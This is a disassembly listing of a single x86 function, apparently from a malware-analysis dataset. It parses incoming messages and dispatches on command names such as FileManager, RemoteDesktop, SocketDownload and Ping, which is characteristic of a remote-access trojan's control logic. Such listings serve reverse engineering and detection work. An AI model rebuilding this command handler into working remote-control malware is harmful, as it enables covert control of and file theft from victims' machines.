Function at 0x10015d00
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10042494
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x18
mov dword [ebp - 0x14], ecx
call fcn.100240ca
mov esi, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0x50
movq qword [esi + 0x10], xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
call fcn.100240ca
mov dword [esi], eax
add esp, 8
mov dword [esi + 0x10], 0x40
mov dword [esi + 0x14], 0x4f
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov dword [ebp - 0x1c], esi
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x1004d1b0]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [0x1004d1c0]
movups xmmword [eax + 0x20], xmm0
movups xmm0, xmmword [0x1004d1d0]
movups xmmword [eax + 0x30], xmm0
mov byte [eax + 0x40], 0
push dword [ebp + 8]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.10021290
mov eax, dword [str.______]
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x58], eax
mov ax, word [0x1004d794]
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x44], 0xf
mov word [ebp - 0x54], ax
mov byte [ebp - 0x52], 0
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100216f0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x10015e33
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10015e29
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10016321
push ecx
push edx
call fcn.100240fa
add esp, 8
mov byte [ebp - 4], 6
mov esi, dword [ebp - 0x28]
mov edx, dword [esi + 0x10]
test edx, edx
je 0x100161ad
mov ecx, esi
mov edi, ecx
cmp dword [edi + 0x14], 0xf
jbe 0x10015e51
mov ecx, dword [esi]
push 0xb
push str.FileManager
call fcn.1000a6c0
add esp, 8
test al, al
je 0x10015ed4
push 0xe8
call fcn.100240ca
add esp, 4
mov esi, eax
push 0xe8
push 0
push esi
call fcn.10025e00
add esp, 0xc
mov ecx, esi
call fcn.10015150
mov ecx, dword [ebp - 0x14]
mov esi, dword [ecx + 4]
mov dword [ecx + 4], eax
test esi, esi
je 0x100161a3
mov ecx, esi
call fcn.10009540
push 0xe8
push esi
call fcn.100240fa
mov esi, dword [ebp - 0x28]
add esp, 8
mov edi, dword [ebp - 0x14]
lea ecx, [edi + 0x10]
cmp ecx, esi
je 0x100161c2
mov eax, esi
cmp dword [eax + 0x14], 0xf
jbe 0x10015ecb
mov esi, dword [esi]
push dword [eax + 0x10]
push esi
jmp 0x100161ba
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x10015ede
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push 0xa
push 0x1004d754
call fcn.1000a6c0
add esp, 8
test al, al
je 0x10015f3c
push 0xc4
call fcn.100240ca
add esp, 4
mov esi, eax
push 0xc4
push 0
push esi
call fcn.10025e00
add esp, 0xc
mov ecx, esi
call fcn.10015c20
mov ecx, dword [ebp - 0x14]
mov esi, dword [ecx + 0xc]
mov dword [ecx + 0xc], eax
test esi, esi
je 0x100161a3
mov ecx, esi
call fcn.100091c0
push 0xc4
jmp 0x10015ea7
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x10015f46
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push 0xd
push str.RemoteDesktop
call fcn.1000a6c0
add esp, 8
test al, al
je 0x10015ffd
push 0x58
call fcn.100240ca
mov ecx, dword [ebp - 0x14]
xorps xmm0, xmm0
add esp, 4
movq qword [eax + 0x14], xmm0
movq qword [eax + 0x2c], xmm0
movq qword [eax + 0x44], xmm0
movq qword [eax + 0x50], xmm0
mov dword [eax], vtable.Rd.0
movups xmmword [eax + 4], xmm0
mov dword [eax + 0x14], 0
mov dword [eax + 0x18], 0xf
mov byte [eax + 4], 0
movups xmmword [eax + 0x1c], xmm0
mov dword [eax + 0x2c], 0
mov dword [eax + 0x30], 0xf
mov byte [eax + 0x1c], 0
movups xmmword [eax + 0x34], xmm0
mov dword [eax + 0x44], 0
mov dword [eax + 0x48], 0xf
mov byte [eax + 0x34], 0
mov dword [eax + 0x4c], 0
mov dword [eax + 0x50], 0
mov dword [eax + 0x54], 0
mov esi, dword [ecx + 8]
mov dword [ecx + 8], eax
test esi, esi
je 0x100161a3
mov ecx, esi
call fcn.10009420
push 0x58
jmp 0x10015ea7
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x10016007
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push 0xe
push str.SocketDownload
call fcn.1000a6c0
add esp, 8
test al, al
je 0x1001606f
push 0x88
call fcn.100240ca
add esp, 4
mov esi, eax
push 0x88
push 0
push esi
call fcn.10025e00
add esp, 0xc
mov ecx, esi
call fcn.100150b0
mov edi, dword [ebp - 0x14]
mov esi, dword [edi]
mov dword [edi], eax
test esi, esi
je 0x100161a5
mov ecx, esi
call fcn.10009850
push 0x88
push esi
call fcn.100240fa
mov esi, dword [ebp - 0x28]
add esp, 8
jmp 0x10015eb6
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x10016079
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push 4
push str.Ping
call fcn.1000a6c0
add esp, 8
test al, al
je 0x100160bb
lea eax, [edi + 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edi + 0x28]
cmp ecx, eax
je 0x10015eb6
cmp dword [eax + 0x14], 0xf
mov edx, eax
jbe 0x100160aa
mov edx, dword [eax]
push dword [eax + 0x10]
push edx
call fcn.10008c50
mov esi, dword [ebp - 0x28]
jmp 0x10015eb6
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x100160c5
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push 4
push str.Pong
call fcn.1000a6c0
add esp, 8
test al, al
je 0x10016107
lea eax, [edi + 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edi + 0x40]
cmp ecx, eax
je 0x10015eb6
cmp dword [eax + 0x14], 0xf
mov edx, eax
jbe 0x100160f6
mov edx, dword [eax]
push dword [eax + 0x10]
push edx
call fcn.10008c50
mov esi, dword [ebp - 0x28]
jmp 0x10015eb6
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x10016111
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push 5
push str.Error
call fcn.1000a6c0
add esp, 8
test al, al
je 0x10016153
lea eax, [edi + 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edi + 0x28]
cmp ecx, eax
je 0x10015eb6
cmp dword [eax + 0x14], 0xf
mov edx, eax
jbe 0x10016142
mov edx, dword [eax]
push dword [eax + 0x10]
push edx
call fcn.10008c50
mov esi, dword [ebp - 0x28]
jmp 0x10015eb6
cmp dword [edi + 0x14], 0xf
mov ecx, edi
jbe 0x1001615d
mov ecx, dword [esi]
mov edx, dword [edi + 0x10]
push 0xd
push str.LPDWORD252525
call fcn.1000a6c0
add esp, 8
test al, al
je 0x10015eb3
lea eax, [edi + 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edi + 0x28]
cmp ecx, eax
je 0x10015eb6
cmp dword [eax + 0x14], 0xf
mov edx, eax
jbe 0x10016192
mov edx, dword [eax]
push dword [eax + 0x10]
push edx
call fcn.10008c50
mov esi, dword [ebp - 0x28]
jmp 0x10015eb6
mov edi, ecx
mov esi, dword [ebp - 0x28]
jmp 0x10015eb6
mov edi, dword [ebp - 0x14]
push 5
push str.Error
lea ecx, [edi + 0x10]
call fcn.10008c50
mov esi, dword [ebp - 0x28]
lea eax, [esi + 0x18]
mov ecx, edi
push eax
call fcn.100154e0
lea ecx, [ebp - 0x28]
mov byte [ebp + 0xb], al
call fcn.10008bd0
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x1001620c
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10016202
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10016321
push ecx
push edx
call fcn.100240fa
add esp, 8
mov esi, dword [ebp - 0x18]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov ecx, dword [esi + 0x14]
cmp ecx, 0xf
jbe 0x10016254
mov eax, dword [esi]
inc ecx
cmp ecx, 0x1000
jb 0x1001624a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10016321
mov eax, edx
push ecx
push eax
call fcn.100240fa
add esp, 8
push 0x18
push esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
call fcn.100240fa
mov al, byte [ebp + 0xb]
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.1002ade6
int3